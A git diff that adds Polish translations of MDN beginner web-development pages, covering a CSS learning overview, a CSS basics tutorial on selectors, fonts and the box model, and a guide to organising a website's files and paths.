+ <dd>Ten moduł pozwoli Ci zapoznać się z podstawami działania CSS, obejmującymi selektory i właściwości, pisanie reguł CSS, załączanie CSS do HTML, określanie wymiarów, kolorów i innych jednostek w CSS, kaskadowość i dziedziczenie, podstawy modelu pudełkowego (box model) oraz debugowanie CSS.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text">Stylowanie tekstu</a></dt>
+ <dd>W tym module spojrzymy na podstawy stylowania tekstu, takie jak ustawianie czcionki, pogrubienia i kursywy, interlinie i odstępy między literami, cieniowania i inne cechy tekstu. Na koniec załączymy <span style="background-color: #f6d5d9;">niestandardowe </span>czcionki do Twojej strony oraz ostylujemy listy i linki.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes">Stylowanie kontenerów</a></dt>
+ <dd>Następnie zajmiemy się stylowaniem kontenerów, jednym z fundamentalnych kroków w kierunku tworzenia układów (layoutów) stron internetowych. W tym module powtórzymy model pudełkowy (box model), dalej spojrzymy na sposoby kontrolowania układu kontenerów poprzez ustawianie dopełnienia (padding), ramek (borders) i marginesów (margins), ustawimy spersonalizowane kolory tła, obrazków i innych cech, a także zajmiemy się bardziej wyszukanymi cechami jak cieniowania i filtry na kontenerach.</dd>
+ <dt>Układ (layout) CSS</dt>
+ <dd>W tym momencie spojrzeliśmy już na podstawy CSS, na to jak stylować tekst, a także na to jak stylować i manipulować kontenerami, w których zawarta jest Twoja treść. Teraz pora przyjrzeć się jak umieścić Twoje kontenery we właściwych miejscach na stronie, zarówno względem siebie, jak i w relacji do okna przeglądarki. Poznaliśmy już niezbędne warunki, można teraz się zagłębić w kwestię układu (layoutu) CSS, przyglądając się różnym ustawieniom wyświetlania, tradycyjnym metodom projektowania układów (layoutów) takimi jak floaty i pozycjonowanie, oraz tym świeżo wprowadzonym narzędziom jak flexbox.</dd>
+</dl>
+
+<h2 id="Rozwiązywanie_częstych_problemów_w_CSS">Rozwiązywanie częstych problemów w CSS</h2>
+
+<p><a href="/en-US/docs/Learn/CSS/Howto">Rozwiązywanie częstych problemów przy użyciu CSS</a> zapewnia linki do sekcji, w których dowiesz się jak rozwiązywać najczęstsze problemy w budowaniu stron internetowych.</p>
+
+<p>Na początku beziesz zmieniał kolory elementów kodu HTML oraz ich tła; rozmiary, kształty, pozycje na stronie oraz dodawał i definiował ich obramowania.<span lang="pl">Możesz zrobić wiele jeśli dobrze rozumiesz podstawy CSS. Jedną z najlepszych rzeczy w nauce CSS jest to, że kiedy poznasz podstawy, zazwyczaj masz dobre wyczucie, co można, a czego nie można zrobić, nawet jeśli tak naprawdę nie wiesz, jak to zrobić!</span></p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS">CSS w MDN</a></dt>
+ <dd><span lang="pl">Główny punkt wejścia do dokumentacji CSS w MDN, gdzie znajdziesz szczegółową dokumentację dla wszystkich funkcji języka CSS. Chcesz się dowiedzieć więcej? Tutaj możesz zacząć.</span></dd>
+</dl>
diff --git a/files/pl/learn/getting_started_with_the_web/css_basics/index.html b/files/pl/learn/getting_started_with_the_web/css_basics/index.html
new file mode 100644
index 0000000000..44783a7f55
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/css_basics/index.html
@@ -0,0 +1,272 @@
+---
+title: CSS podstawy
+slug: Learn/Getting_started_with_the_web/CSS_basics
+translation_of: Learn/Getting_started_with_the_web/CSS_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>Kaskadowe arkusze stylów CSS (ang. Cascading Style Sheets) to kod służący do nadawania wyglądu strony. <em>CSS Podstawy</em> przeprowadzi cię przez bazowe zagadnienia, abyś mógł zacząć modyfikować wygląd swojej strony. Odpowiemy na takie pytania jak: Jak zrobić, żeby mój tekst był czarny albo czerwony? Jak wyświetlić poszczególną zawartość strony w wybranych miejscach ekranu? Jak dekorować stronę obrazami czy nadać kolor tła?</p>
+</div>
+
+<h2 id="Czym_właściwie_jest_CSS">Czym właściwie jest CSS?</h2>
+
+<p>Podobnie jak HTML, CSS nie jest językiem programowania. Nie jest jednak też <em>językiem znaczników</em> — jest językiem arkuszy stylów (ang. <em>style sheet language</em>). <span id="result_box" lang="pl"><span>Oznacza to, że pozwala on selektywnie stosować style do elementów w dokumentach HTML.</span> <span>Na przykład, aby zaznaczyć wszystkie paragrafy na stronie HTML i zmienić w nich kolor tekstu na czerwono, należy napisać ten kod CSS:</span></span></p>
+
+<pre class="brush: css">p {
+ color: red;
+}</pre>
+
+<p>Sprawdźmy: wklej te trzy linie kodu do nowego pliku. Plik nazwij <code>style.css</code> i umieść go w katalogu <code>styles</code>.</p>
+
+<p>Wciąż jednak musimy powiązać ten kod CSS z twoim dokumentem HTML. W przeciwnym wypadku stworzony kod CSS nie będzie miał wpływu na wygląd twojej strony. (Jeśli nie śledzisz naszego projektu od poczatku, przeczytaj <a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Struktura plików witryny</a> oraz <a href="/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML podstawy</a>, żeby dowiedzieć się co wpierw należy wykonać.)</p>
+
+<ol>
+ <li>Otwórz plik <code>index.html</code> i wklej poniższy kod gdzieś w sekcji nagłówka (czyli pomiędzy elementami <code>&lt;head&gt;</code> i <code>&lt;/head&gt;</code>):
+
+ <pre class="brush: html">&lt;link href="styles/style.css" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+ <li>Zapisz plik <code>index.html</code> a następnie otwórz go w przeglądarce. Powinieneś móc zobaczyć coś takiego:</li>
+</ol>
+
+<p><img alt="A mozilla logo and some paragraphs. The paragraph text has been styled red by our css." src="https://mdn.mozillademos.org/files/9435/website-screenshot-styled.png" style="display: block; height: 832px; margin: 0px auto; width: 711px;">Jeśli tekst twoich akapitów jest czerwony, gratulacje! Właśnie napisałeś swój pierwszy skuteczny kod CSS.</p>
+
+<h3 id="Anatomia_reguł_CSS">Anatomia reguł CSS</h3>
+
+<p>Przyjrzyjmy się nieco bardziej szczegółowo naszemu kodowi CSS:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9461/css-declaration-small.png" style="display: block; height: 480px; margin: 0px auto; width: 850px;"></p>
+
+<p>Cała struktura jest nazywana <strong>listą </strong><strong>dyrektyw</strong> - reguł. Oto nazwy poszczególnych części:</p>
+
+<dl>
+ <dt>Selektor</dt>
+ <dd>Element HTML na początku reguły. Wybiera poszczególne elementy (bądź też tylko jeden) do wystylizowania - w tym wypadku wszystkie elementy <code>p</code>. Aby dodać styl do innego elementu, po prostu zmień selektor;</dd>
+ <dt>Deklaracja</dt>
+ <dd>Pojedyncza reguła, taka jak <code>color: red;</code>, która ustala jakie <strong>właściwości</strong> elementu chcesz wystylizować.</dd>
+ <dt>Właściwości</dt>
+ <dd>Sposoby stylizowania danego elementu HTML. (W powyższym przykładzie <code>color</code> jest właściwością selektrora <code>p</code>.) W CSS wybierasz, która właściwość ma być nadana w danej deklaracji.</dd>
+ <dt>Wartość właściwości</dt>
+ <dd>Po prawej stronie właściwości za dwukropkiem mamy wartość właściwości, która wybiera jeden z wielu możliwych wyglądów dla danej właściwości (istnieje wiele wartości <code>color</code> oprócz <code>red</code>).</dd>
+</dl>
+
+<p>Zauważ inne ważne części składni:</p>
+
+<ul>
+ <li>Każda deklaracja (oprócz selektror) musi być ujęta w nawias klamrowy (<code>{}</code>).</li>
+ <li>W ramach każdej deklaracji należy użyć dwukropka (<code>:</code>), aby oddzielić właściwość od jej wartości.</li>
+ <li>W ramach każdej deklaracji należy użyć średnika (<code>;</code>), aby oddzielić każdą deklarację od następnej.</li>
+</ul>
+
+<p>Aby zmodyfikować wiele wartości właściwości jednocześnie, wystarczy napisać je oddzielone średnikami, np.:</p>
+
+<pre class="brush: css">p {
+ color: red;
+ width: 500px;
+ border: 1px solid black;
+}</pre>
+
+<h3 id="Wybieranie_wielu_elementów">Wybieranie wielu elementów</h3>
+
+<p>Możesz również wybrać wiele typów elementów i zastosować dla nich jeden zestaw deklaracji. Wypisz kilka selektorów oddzielonych przecinkami. Na przykład:</p>
+
+<pre class="brush: css">p,li,h1 {
+ color: red;
+}</pre>
+
+<h3 id="Inne_typy_selektorów">Inne typy selektorów</h3>
+
+<p>Istnieje wiele innych typów selektorów. Do tej pory używaliśmy tylko <strong>selektorów elementów</strong>, które wybierają wszystkie elementy danego typu z kodu HTML. Ale możemy stworzyć bardziej szczegółowe selektory. Oto kilka powszechnych typów selektorów:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Nazwa selektora</th>
+ <th scope="col">Co wybiera?</th>
+ <th scope="col">Przykład</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Selektor elementu (czasem nazywany selektorem tagu lub typu)</td>
+ <td>Element(y) HTML o podanym typie.</td>
+ <td><code>p</code><br>
+ Wybiera elementy <code>&lt;p&gt;</code></td>
+ </tr>
+ <tr>
+ <td>Selektor ID</td>
+ <td>Element na stronie o podanym ID (na jednej stronie HTML możesz użyć konkretnego ID tylko raz).</td>
+ <td><code>#my-id</code><br>
+ Wybiera <code>&lt;p id="my-id"&gt;</code> lub <code>&lt;a id="my-id"&gt;</code></td>
+ </tr>
+ <tr>
+ <td>Selektor klasy</td>
+ <td>Element(y) na stronie o podanej klasie (Tej samej klasy możesz użyć wiele razy na stronie).</td>
+ <td><code>.my-class</code><br>
+ Wybiera <code>&lt;p class="my-class"&gt;</code> oraz <code>&lt;a class="my-class"&gt;</code></td>
+ </tr>
+ <tr>
+ <td>Selektor atrybutu</td>
+ <td>Element(y) na stronie o podanym atrybucie.</td>
+ <td><code>img[src]</code><br>
+ wybiera <code>&lt;img src="myimage.png"&gt;</code> ale nie <code>&lt;img&gt;</code></td>
+ </tr>
+ <tr>
+ <td>Selektor pseudo-klasy</td>
+ <td>Element(y) o określonym stanie np. najechanie myszą na element</td>
+ <td><code>a:hover</code><br>
+ Wybiera <code>&lt;a&gt;</code>, ale tylko gdy kursor znajduje się nad elementem.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Istnieje wiele innych typów selektorów, możesz je poznać w naszym <a href="/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">Selectors guide</a>.</p>
+
+<h2 id="Czcionki_i_tekst">Czcionki i tekst</h2>
+
+<p>Teraz, gdy poznaliśmy podstawy CSS, dodajmy więcej reguł i informacji do naszego pliku <code>style.css</code> żeby nasz przykład wyglądał lepiej. Zacznijmy od zmiany wyglądu czcionek i tekstu.</p>
+
+<ol>
+ <li>Na początek, cofnij się i znajdź <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Font">output from Google Fonts</a>, który przechowałeś w bezpiecznym miejscu. Dodaj element {{htmlelement("link")}} gdzieś wewnątrz sekcji head w pliku <code>index.html</code> (gdziekolwiek pomiędzy tagami <code>&lt;head&gt;</code> i <code>&lt;/head&gt;</code>). Linijka będzie wyglądała podobnie do:
+
+ <pre class="brush: html">&lt;link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'&gt;</pre>
+ </li>
+ <li>Następnie, usuń istniejące reguły w pliku <code>style.css</code>. To był dobry test, ale czerwony tekst nie wygląda najlepiej.</li>
+ <li>Dodaj poniższy kod, zastępując linie "placeholder" z <code>font-family</code> wygenerowanym w Google Fonts. (<code>font-family</code> oznacza czcionkę lub czcionki których chcesz używać). Pierwsza reguła ustala bazową wielkość tekstu i czcionkę dla całej strony (ponieważ <code>&lt;html&gt;</code> to element-rodzic całej strony i wszystkie elementy wewnątrz niego dziedziczą ten sam <code>font-size</code> i <code>font-family</code>):
+ <pre class="brush: css">html {
+ font-size: 10px; /* px oznacz 'piksele': bazowy rozmiar tekstu to teraz 10 pikseli wysokości */
+ font-family: placeholder; /* tu powinnien być font-family wygenerowany w Google fonts */
+}</pre>
+
+ <div class="note">
+ <p><strong>Uwaga</strong>: Wszystko w dokumencie CSS pomiędzy <code>/*</code> i <code>*/</code> jest <strong>komentarzem </strong><strong>CSS</strong>, który przyglądarka zignoruje podczas wyświetlania strony. To miejsce dla Ciebie na notatki dotyczące tego co dzieje się w danym miejscu.</p>
+ </div>
+ </li>
+ <li>Teraz ustawimy rozmiar czcionki dla elementów zawierających tekst wewnątrz ciała (body) HTML: ({{htmlelement("h1")}}, {{htmlelement("li")}}, i {{htmlelement("p")}}). Wycentrujemy również tekst naszego nagłówka i ustawimy wysokość linii tekstu i odstęp między znakami dla głównej treści aby uczynić ją bardziej czytelną:
+ <pre class="brush: css">h1 {
+  font-size: 60px;
+  text-align: center;
+}
+
+p, li {
+  font-size: 16px;
+  line-height: 2;
+  letter-spacing: 1px;
+}</pre>
+ </li>
+</ol>
+
+<p>Możesz dostosować wartości <code>px</code> na jakiekolwiek chcesz, aby uzyskać wygląd jaki chcesz, ale generalnie twoja strona powinna wyglądać podobnie jak ta:</p>
+
+<p><img alt="a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered" src="https://mdn.mozillademos.org/files/9447/website-screenshot-font-small.png" style="display: block; height: 1020px; margin: 0px auto; width: 921px;"></p>
+
+<h2 id="Pudełka_pudełka_wszędzie_pudełka">Pudełka, pudełka, wszędzie pudełka</h2>
+
+<p>Jedną z rzeczy którą zauważysz podczas pisania CSS to, że wiele z nich dotyczy pudełek (ang. boxes) — ustawianie ich rozmiaru, koloru, pozycji etc. O większości elementów na stronie możesz myśleć jak o pudełkach stawianych jedne na drugim.</p>
+
+<p><img alt="a big stack of boxes or crates sat on top of one another" src="https://mdn.mozillademos.org/files/9441/boxes.jpg" style="display: block; height: 463px; margin: 0px auto; width: 640px;"></p>
+
+<p>Nic dziwnego, że układ CSS opiera się głównie na <em>modelu pudełkowym</em> (ang. <em>box model</em>). Każdy z bloków zajmujących miejsce na Twojej stronie ma takie właściwości:</p>
+
+<ul>
+ <li><code>padding</code>, przestrzeń wokół elementu (np. wokół paragrafu tekstu)</li>
+ <li><code>border</code>, obramowanie poza padding-iem</li>
+ <li><code>margin</code>, przestrzeń wokół zewnętrznej części elementu</li>
+</ul>
+
+<p><img alt="three boxes sat inside one another. From outside to in they are labelled margin, border and padding" src="https://mdn.mozillademos.org/files/9443/box-model.png" style="display: block; height: 450px; margin: 0px auto; width: 574px;"></p>
+
+<p>W tej sekcji możemy także użyć:</p>
+
+<ul>
+ <li><code>width</code>, szerokość elementu,</li>
+ <li><code>background-color</code>, kolor pod zawartością i paddingiem elementu,</li>
+ <li><code>color</code>, kolor treści elementu (zazwyczaj tekstu),</li>
+ <li><code>text-shadow</code>: ustawia cień pod tekstem wewnątrz elementu,</li>
+ <li><code>display</code>: określa sposób wyświetlania elementu (póki co nie martw się tym).</li>
+</ul>
+
+<p>Dodajmy trochę więcej CSS do naszej strony! Dodawaj nowe reguły na dole pliku i nie bój się eksperymentować ze zmianą wartości, aby zobaczyć, jak działają.</p>
+
+<h3 id="Zmiana_koloru_strony">Zmiana koloru strony</h3>
+
+<pre class="brush: css">html {
+ background-color: #00539F;
+}</pre>
+
+<p>Ten zestaw reguł ustawi kolor tła dla całej strony. Zmień powyższy kod koloru na dowolny wybrany podczas<a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Theme_color"> planning your site</a>.</p>
+
+<h3 id="Sortowanie_elementów_body">Sortowanie elementów body</h3>
+
+<pre class="brush: css">body {
+ width: 600px;
+ margin: 0 auto;
+ background-color: #FF9500;
+ padding: 0 20px 20px 20px;
+ border: 5px solid black;
+}</pre>
+
+<p>Teraz element {{htmlelement("body")}}. Jest tu kilka deklaracji, więc przejrzyjmy je wszystkie jedna po drugiej:</p>
+
+<ul>
+ <li><code>width: 600px;</code> — wymusza, aby szerokość elementu body wynosiła 600 pikseli.</li>
+ <li><code>margin: 0 auto;</code> — Kiedy ustawiasz dwie wartości na właściwościach takich jak <code>margin</code> czy <code>padding</code>, pierwsza wartość dotyczy górnej i dolnej strony elementu (ustawia je na 0 w tym wypadku), a druga wartość ustawia lewą i prawą stronę (<code>auto</code> to specjalna wartość która dzieli dostępną przestrzeń w poziomie równo pomiędzy lewą i prawą stronę). Możesz równiej użyć jednej, dwóch, trzech lub czterech wartości tak jak zostało to opisane <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/margin#Values">tutaj</a>.</li>
+ <li><code>background-color: #FF9500;</code> — jak wcześniej, ustawia tło elementu. Użyliśmy czerwono-pomarańczowego koloru dla body, jako przeciwieństwa dla ciemno niebieskiego koloru dla elementu {{htmlelement("html")}}, ale nie krępuj się eksperymentować.</li>
+ <li><code>padding: 0 20px 20px 20px;</code> — mamy cztery wartości do ustawienia odstępów do uzyskania przestrzeni wokół elementu. Tym razem ustawiamy brak górnego odstępu i po 20 pikseli odstępu dla prawej strony, dołu i lewej strony. Wartości ustawiają kolejno górę, prawą stronę, dół i lewą stronę.</li>
+ <li><code>border: 5px solid black;</code> — ta prosta reguła ustawia obramowanie ciągłą linią o szerokości 5-ciu pikseli w czarnym kolorze dla każdego z boków.</li>
+</ul>
+
+<h3 id="Ustawianie_i_stylowanie_głównego_nagłówka">Ustawianie i stylowanie głównego nagłówka</h3>
+
+<pre class="brush: css">h1 {
+ margin: 0;
+ padding: 20px 0;
+ color: #00539F;
+ text-shadow: 3px 3px 1px black;
+}</pre>
+
+<p>Być może zauważysz paskudną szparę na górze ciała strony. Dzieje się tak dlatego, że przeglądarki stosują pewne <strong>domyślne style</strong> dla elementu {{htmlelement("h1")}} (oraz innych), nawet jeżeli nie użyjesz żadnego stylu CSS! To może brzmieć jak zła koncepcja, ale chcemy by nawet nieostylowana strona wyglądała czytelnie. Aby pozbyć się luki, zmieniliśmy domyślny styl, ustawiając <code>margin: 0;</code>.</p>
+
+<p>Następnie ustawiliśmy górny i dolny margines nagłówka na 20 pikseli i nadaliśmy tekstowi nagłówka taki sam kolor, jak kolor tła dla html.</p>
+
+<p>Ciekawą właściwością, którą tutaj wykorzystaliśmy, jest <code>text-shadow</code>, który nadaje cień dla tekstu wewnątrz elementu. Jego cztery wartości są następujące: </p>
+
+<ul>
+ <li>Pierwsza wartość w pikselach określa <strong>przesunięcie poziome</strong> cienia od tekstu - jak daleko przesunąć go w poprzek: wartość ujemna powinna przesunąć cień w lewo.</li>
+ <li>Druga wartość w pikselach określa <strong>pionowe przesunięcie</strong> cienia - jak daleko przesunąć go w dół; Wartość ujemna przesunie cień w górę.</li>
+ <li>Trzecia wartość w pikselach to <strong>promień rozmycia</strong> cienia — większa wartość oznacza bardziej rozmyty cień.</li>
+ <li>Czwarta wartość określa kolor cienia.</li>
+</ul>
+
+<p>Ponownie, eksperymentuj z innymi wartościami i zobacz co możesz zrobić!</p>
+
+<h3 id="Centrowanie_obrazka">Centrowanie obrazka</h3>
+
+<pre class="brush: css">img {
+ display: block;
+ margin: 0 auto;
+}</pre>
+
+<p>Wreszcie wycentrujemy obrazek żeby wyglądał lepiej. Możemy użyć ponownie triku <code>margin: 0 auto</code> którego użyliśmy w przypadku body, ale dodatkowo musimy zrobić coś jeszcze. Element {{htmlelement("body")}} jest <strong>blokowy (ang. block)</strong>, co oznacza, że zajmuje całą dostępną przestrzeń na stronie i możesz zastosować dla niego marginesy i inne ustawienia wielkości. Z drugiej strony, obrazki są elementali <strong>liniowymi</strong> (ang.inline) i nie posiadają takich właściwości. Dlatego żeby zastosować marginesy dla grafiki musimy zmienić jej sposób wyświetlania na blokowy używając <code>display: block;</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Powyższe instrukcje zakładają, że używasz obrazu o szerokości mniejszej niż szerokość ustawiona dla elementu body (600 pikseli). Jeśli obraz jest większy, spowoduje to przelanie treści i rozlanie jej na resztę strony. Aby temu zapobiec możesz 1) zmniejszyć wielkość obrazu za pomocą <a href="https://pl.wikipedia.org/wiki/Edytor_grafiki_rastrowej">editora graficznego</a>, lub 2) zmniejszyć obraz przy użyciu CSS ustawiając właściwość {{cssxref("width")}} dla elementu <code>&lt;img&gt;</code> na mniejszą wartość (np., <code>400 px;</code>).</p>
+</div>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Nie przejmuj się jeżeli jeszcze nie rozumiesz <code>display: block;</code> i różnicy między elementami liniowymi a blokowymi. Zrozumiesz z czasem zgłębiania wiedzy o CSS. Więcej o różnych dostępnych sposobach wyświetlania możesz znaleźć w naszym <a href="/en-US/docs/Web/CSS/display">display reference page</a>.</p>
+</div>
+
+<h2 id="Konkluzja">Konkluzja</h2>
+
+<p>Jeżeli prześledziłeś instrukcje z tego artykułu powinieneś zakończyć ze stroną wyglądającą jak ta (możesz również zobaczyć <a href="http://mdn.github.io/beginner-html-site-styled/">naszą wersję tutaj</a>):</p>
+
+<p><img alt="a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip." src="https://mdn.mozillademos.org/files/9455/website-screenshot-final.png" style="display: block; height: 1084px; margin: 0px auto; width: 940px;"></p>
+
+<p>Jeżeli utkniesz możesz zawsze porównać swój kod z naszym <a href="https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css">gotowym przykładem na GitHub</a>.</p>
+
+<p>To naprawdę podstawowe informacje o CSS. Aby dowiedzieć się więcej sprawdź nasz <a href="https://developer.mozilla.org/en-US/Learn/CSS">CSS Learning topic</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/pl/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/pl/learn/getting_started_with_the_web/dealing_with_files/index.html
new file mode 100644
index 0000000000..fe33799b70
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/dealing_with_files/index.html
@@ -0,0 +1,95 @@
+---
+title: Struktura plików witryny
+slug: Learn/Getting_started_with_the_web/Dealing_with_files
+translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>Strona internetowa zawiera wiele plików: pliki z treścią, kod, arkusze stylów, media, i więcej. Kiedy budujesz stronę internetową, musisz zebrać je wszystkie razem i stworzyć z nich rozsądną strukturę na swoim komputerze oraz upewnić się, że mogą się one między sobą komunikować, zanim <a href="/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">wyślesz je na serwer hostingowy</a>. Sekcja <em>Struktura plików witryny</em> omawia podstawowe kwestie jakich powinieneś być świadomy, aby zbudować racjonalną strukturę plików dla twojej strony internetowej.</p>
+</div>
+
+<h2 id="Gdzie_na_twoim_komputerze_powinna_znajdować_się_twoja_strona_internetowa">Gdzie na twoim komputerze powinna znajdować się twoja strona internetowa?</h2>
+
+<p>Kiedy pracujesz lokalnie na swoim komputerze, powinieneś wszystkie pliki zwiazane z daną stroną trzymać w pojedynczym folderze, który będzie odzwierciedlał folder na serwerze, na którym zamierzasz publikować stronę.  Ten folder może się znajdować gdzie tylko chcesz, na twoim komputerze, choć raczej powinieneś go przechowywać w miejscu, które łatwo odnajdziesz. Może to być twój Pulpit czy folder domowy linuxa, albo bezpośrednio na dysku twardym bez katalogów nadrzędnych.</p>
+
+<ol>
+ <li>Wybierz miejsce przechowywania projektu strony. Utwórz katalog o nazwie <code>web-projects</code> (lub podobnej). Tu będzie się znajdował projekt twojej strony.</li>
+ <li>Wewnątrz katalogu utwórz kolejny folder do przechowywania twojej pierwszej strony internetowej. Nazwij go <code>test-site</code> (lub w bardziej kreatywny sposób).</li>
+</ol>
+
+<h2 id="Nazewnictwo_folderów_i_plików">Nazewnictwo folderów i plików</h2>
+
+<p>Jak zauważysz, w tym artykule poprosimy cię o nazywanie folderów i plików tylko małymi literami i bez spacji w nazwie. A to dlatego, że:</p>
+
+<ol>
+ <li>Wiele komputerów, a w szczególności serwerów sieciowych, jest wrażliwych na wielkość liter w nazwach. Tak więc na przykłąd, jeśli umieścisz obraz z twojej strony w <code>test-site/MyImage.jpg</code>, a następnie w innym pliku odwołasz się do niego jako <code>test-site/myimage.jpg</code>, to może nie zadziałać.</li>
+ <li>Przeglądarki, serwery sieciowe oraz języki programowania nie do końca radzą sobie ze spacjami w nazwach. Na przykład, jeśli użyjesz spacji w nazwie pliku, niektóre systemy potraktują tę nazwę jako dwie nazwy dwóch plików. Niektóre serwery zastąpią spacje w nazwie symbolem "%20" (kod znaku dla spacji w URIs), w rezultacie przestaną działać wszystkie twoje odnośniki do takiego pliku. Lepiej jest stosować myślniki niż podkreślenia: <code> my-file.html</code> vs. <code>my_file.html</code>.</li>
+</ol>
+
+<p>Krótko mówiąc powinieneś używać myślników w nazwach plików (oczywiście jeśli chcesz używać kilkuwyrazowych nazw). Wyszukiwarka Google traktuje myślnik jako separator słów, ale podkreślenie już nie. Z tego powodu najlepiej jest wyrobić sobie nawyk pisania nazw plików i folderów małymi literami i bez spacji, i raczej nie używać myślników czy podkreśleń, chyba że wiesz co robisz. W ten sposób unikniesz już części problemów jakie możesz napotkać.</p>
+
+<h2 id="Jaką_strukturę_powinna_mieć_twoja_strona_internetowa">Jaką strukturę powinna mieć twoja strona internetowa?</h2>
+
+<p>Następnie zobaczmy jaką strukturę powinna mieć twoja strona internetowa. <span id="result_box" lang="pl"><span>Najczęściej rzeczy, które będziemy mieli w każdym projekcie strony internetowej, który tworzymy, to podstawowy plik HTML </span></span><code>index.html</code><span lang="pl"><span> i foldery zawierające obrazy, pliki stylów i pliki skryptów</span></span> . Stwórzmy je teraz:</p>
+
+<ol>
+ <li><code><strong>index.html</strong></code>: Ten plik zawiera podstawową treść strony głównej twojej witryny, czyli tekst i obrazy jakie ludzie widzą wchodząc na twoją stronę. Przy pomocy twojego edytora tekstowego stwórz plik o nazwie <code>index.html</code> i zapisz go w twoim folderze projektu <code>test-site</code>.</li>
+ <li><strong>katalog <code>images</code></strong>: Ten folder będzie zawierał obrazy jakie użyjesz na twojej stronie. Utwórz katalog <code>images</code> wewnątrz folderu <code>test-site</code>.</li>
+ <li><strong>katalog <code>styles</code></strong>: Ten folder będzie zawierał pliki CSS do nadania wyglądu twojej strony (np. ustawieni koloru tekstu i tła strony). Utwórz katalog <code>styles</code> wewnątrz folderu <code>test-site</code>.</li>
+ <li><strong>katalog <code>scripts</code></strong>: Ten folder będzie zawierał cały JavaScript użyty do uczynienia twojej strony interaktywną (np. przyciski wczytujące dane po kliknięciu). Utwórz folder o nazwie <code>scripts</code> wewnątrz katalogu <code>test-site</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Uwaga</strong>: W systemie Windows, możesz napotkać na problem z wyświetlaniem nazw plików, ponieważ domyślnie włączona jest opcja folderów zwana <strong>Ukryj rozszeżenia znanych typów plików</strong>. Możesz ją wyłączyć w prosty sposób. Otwórz Eksplorator Plików, kliknij opcję w menu <strong>Organizuj</strong> a następnie  <strong>Opcje folderów i wyszukiwania</strong>. W zakładce <strong>Widok</strong> odzdnacz opcję <strong>Ukryj rozszeżenia...</strong> Po bardziej szczegółowe informacje (w zależności od twojej wersji systemu Windows) sięgnij do strony Microsoft lub po prostu poszukaj w Internecie!</p>
+</div>
+
+<h2 id="Ścieżki_do_plików">Ścieżki do plików</h2>
+
+<p>Aby pliki mogły się między sobą komunikować, musisz ustawić odpowiednie ścieżki między nimi — po prostu chodzi o takie ścieżki, żeby pliki wiedziały wzajemnie, gdzie który się znajduje. Pokażemy ci o co chodzi tworząc nieco kodu w naszym pliku <code>index.html</code>, tak aby wyświetlał obraz jaki wybrałeś zgodnie ze wskazówkami artykułu <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like">"Jak będzie wyglądała twoja strona internetowa?"</a></p>
+
+<ol>
+ <li>Skopiuj uprzednio wybrany obrazek do katalogu <code>images</code>.</li>
+ <li>Otwórz plik <code>index.html</code> i wklej do niego poniższy kod. Nie martw się na razie tym co on oznacza - przyjżymy się jego strukturze dalej.
+ <pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;My test page&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;img src="" alt="My test image"&gt;
+ &lt;/body&gt;
+&lt;/html&gt; </pre>
+ </li>
+ <li>W linii <code>&lt;img src="" alt="My test image"&gt;</code> znajduje się kod HTML, który odpowiada za umieszczenie obrazu na twojej stronie. Musimy mu tylko wskazać, gdzie znajduje się plik z obrazem. Obrazek jest w katalogu <em>images</em>, który z kolei jest w tym samym folderze co <code>index.html</code>. Aby przejść od pliku <code>index.html</code> do naszego obrazu, ścieżka jaką potrzebujemy wskazać to <code>images/your-image-filename</code>. Na przykład, jeśli plik z obrazkiem nazywa się <code>firefox-icon.png</code>, ścieżką do niego jest <code>images/firefox-icon.png</code>.</li>
+ <li>Wstaw sieżkę do pliku we wskazanej wcześniej linii w cudzysłowie atrybutu <code>src=""</code>.</li>
+ <li>Zapisz plik HTML i otwórz go w przeglądarce (klikając na niego dwa razy). Powinieneś zobaczyć w oknie przeglądarki swój obrazek!</li>
+</ol>
+
+<p><img alt="A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world" src="https://mdn.mozillademos.org/files/9229/website-screenshot.png" style="display: block; height: 542px; margin: 0px auto; width: 690px;"></p>
+
